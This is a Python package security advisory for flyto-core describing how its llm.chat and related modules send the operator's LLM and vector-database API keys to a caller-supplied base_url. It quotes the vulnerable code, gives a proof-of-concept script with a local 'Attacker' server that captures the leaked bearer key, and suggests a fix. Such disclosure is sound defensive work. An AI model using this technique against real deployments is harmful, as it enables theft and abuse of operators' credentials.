PYSEC-2026-3573

See a problem?
Import Source
https://github.com/pypa/advisory-database/blob/main/vulns/flyto-core/PYSEC-2026-3573.yaml
JSON Data
https://api.osv.dev/v1/vulns/PYSEC-2026-3573
Aliases
Published
2026-08-04T11:34:45.510122Z
Modified
2026-08-04T14:30:16.468139551Z
Severity
  • 8.6 (High) CVSS_V3 - CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:N/A:N CVSS Calculator
Summary
Flyto2 Core: LLM/API keys leak to an attacker-controlled base_url
Details

Summary

llm.chat reads the operator's provider key from the environment (OPENAI_API_KEY, ANTHROPIC_API_KEY, ...) and sends it in the Authorization: Bearer header to base_url, a parameter the caller controls. base_url is only checked against the SSRF guard, and the guard allows any public host, so pointing base_url at an attacker's server hands them the operator's key. flyto-core's own bounty scale rates "environment access exposing secrets (e.g. ANTHROPIC_API_KEY)" as High.

Affected code

src/core/modules/atomic/llm/chat.py (_call_openai):

base_url = params.get('base_url')            # caller-controlled
if base_url:
    validate_url_with_env_config(base_url)    # SSRF check only; a public attacker host passes
if not api_key:
    api_key = os.getenv('OPENAI_API_KEY')     # operator's key
...
url = (base_url or "https://api.openai.com/v1").rstrip('/') + "/chat/completions"
headers = {"Authorization": f"Bearer {api_key}"}
await client.post(url, headers=headers, json=payload)   # sent to base_url

The same wiring (env key plus caller endpoint) exists in ai.model (which does not even SSRF-check base_url), llm.agent, and vector.connector (QDRANT_API_KEY with a caller url). The SSRF guard is the wrong control here: it stops private targets but does nothing about the key being sent to an attacker's public host.

Reproduction

Save as keyexfil_poc.py, run with PYTHONPATH=src/src python keyexfil_poc.py. It sets an operator key in the environment and points base_url at a local capture server.

#!/usr/bin/env python3
import asyncio
import os
import threading
from http.server import BaseHTTPRequestHandler, HTTPServer

os.environ["OPENAI_API_KEY"] = "sk-OPERATOR-SECRET-doNotLeak-9f8e7d6c5b4a"
os.environ["FLYTO_ALLOWED_HOSTS"] = "localhost"   # stand-in for the attacker's public host
CAPTURED = {}

class Attacker(BaseHTTPRequestHandler):
    def do_POST(self):
        CAPTURED["auth"] = self.headers.get("Authorization")
        ln = int(self.headers.get("Content-Length", 0)); self.rfile.read(ln)
        b = b'{"choices":[{"message":{"content":"pwned"},"finish_reason":"stop"}],"usage":{"total_tokens":1}}'
        self.send_response(200); self.send_header("Content-Type", "application/json")
        self.send_header("Content-Length", str(len(b))); self.end_headers(); self.wfile.write(b)
    def log_message(self, *a): pass

async def main():
    from core.modules.atomic import register_all
    from core.modules.registry import ModuleRegistry
    register_all()
    threading.Thread(target=HTTPServer(("127.0.0.1", 8080), Attacker).serve_forever, daemon=True).start()
    res = await ModuleRegistry.execute("llm.chat", params={
        "prompt": "hi", "provider": "openai", "base_url": "http://localhost:8080",
    }, context={})
    print("module ok:", res.get("ok"))
    print("Authorization received by attacker:", CAPTURED.get("auth"))

if __name__ == "__main__":
    asyncio.run(main())

Output:

module ok: True
Authorization received by attacker: Bearer sk-OPERATOR-SECRET-doNotLeak-9f8e7d6c5b4a

Confirmed against the running API as well: calling llm.chat with base_url=https://example.com was not blocked by the SSRF guard, so the request egressed to the public host with the operator key attached.

Impact

Theft of the operator's cloud LLM / vector-DB keys, which lets the attacker bill and abuse those accounts and reach data available to the key. The caller only needs to influence base_url, which is reachable through the MCP agent surface or the hosted API.

Suggested fix

Only use the environment-derived key with the provider's official endpoint. If the caller supplies a custom base_url, require them to supply the api_key explicitly too, or check base_url against an allowlist of trusted endpoints — never auto-attach the operator's secret to an arbitrary host. Apply the same to ai.model, llm.agent and vector.connector, and add SSRF validation to ai.model's base_url.

References

Affected packages

PyPI / flyto-core

Package

Affected ranges

Type
ECOSYSTEM
Events
Introduced
0Unknown introduced version / All previous versions are affected
Fixed
2.26.7

Affected versions

1.*
1.0.0
1.0.1
1.0.2
1.0.3
1.0.4
1.0.5
1.0.6
1.0.7
1.0.8
1.0.9
1.1.0
1.1.1
1.2.0
1.3.0
1.4.0
1.5.0
1.5.1
1.5.2
1.5.4
1.6.0
1.6.1
1.6.2
1.6.3
1.6.4
1.6.5
1.7.0
1.7.1
1.7.2
1.7.3
1.7.4
1.7.5
1.7.6
1.7.7
1.7.8
1.7.9
1.8.0
1.8.1
1.8.2
1.8.3
1.8.4
1.8.5
1.8.6
1.8.7
1.8.8
1.8.9
1.8.10
1.8.11
1.8.12
1.8.13
1.8.14
1.8.15
1.8.16
1.8.17
1.9.0
1.11.0
1.12.0
1.13.0
1.14.0
1.14.1
1.14.2
1.15.0
1.16.0
1.16.1
1.16.2
1.16.3
1.16.4
1.16.5
1.16.6
1.16.7
1.16.8
1.16.9
1.16.10
2.*
2.0.0
2.0.1
2.0.2
2.0.3
2.0.4
2.0.5
2.1.0
2.1.1
2.1.2
2.1.3
2.1.4
2.2.0
2.2.1
2.2.2
2.3.0
2.3.1
2.4.0
2.4.1
2.4.2
2.4.3
2.4.4
2.4.5
2.4.6
2.4.7
2.5.0
2.5.1
2.5.2
2.6.0
2.6.1
2.7.0
2.7.1
2.7.2
2.7.3
2.7.4
2.7.5
2.7.6
2.8.0
2.9.0
2.10.0
2.11.0
2.12.0
2.12.1
2.12.2
2.12.3
2.12.4
2.12.5
2.12.6
2.12.13
2.12.15
2.12.16
2.12.17
2.12.18
2.12.19
2.12.20
2.12.21
2.12.22
2.12.23
2.12.24
2.12.25
2.12.26
2.12.27
2.12.28
2.13.0
2.13.1
2.13.2
2.13.3
2.13.4
2.14.0
2.15.0
2.15.1
2.15.2
2.15.3
2.16.1
2.16.3
2.16.4
2.17.0
2.17.1
2.17.2
2.17.3
2.17.4
2.17.5
2.17.6
2.17.7
2.17.8
2.18.0
2.18.1
2.18.2
2.18.3
2.18.4
2.18.5
2.18.6
2.18.8
2.18.9
2.18.10
2.18.11
2.19.0
2.20.0
2.20.1
2.20.2
2.20.3
2.20.4
2.23.0
2.23.1
2.23.2
2.23.3
2.24.0
2.24.1
2.24.2
2.24.3
2.24.4
2.25.0
2.25.1
2.25.2
2.25.3
2.25.4
2.25.5
2.25.6
2.25.7
2.25.8
2.25.9
2.25.10
2.25.11
2.25.12
2.25.13
2.25.14
2.25.15
2.25.16
2.25.17
2.25.18
2.25.19
2.25.20
2.25.21
2.25.22
2.25.23
2.25.24
2.25.25
2.25.26
2.25.27
2.26.0
2.26.1
2.26.2
2.26.3
2.26.4
2.26.5

Database specific

source
"https://github.com/pypa/advisory-database/blob/main/vulns/flyto-core/PYSEC-2026-3573.yaml"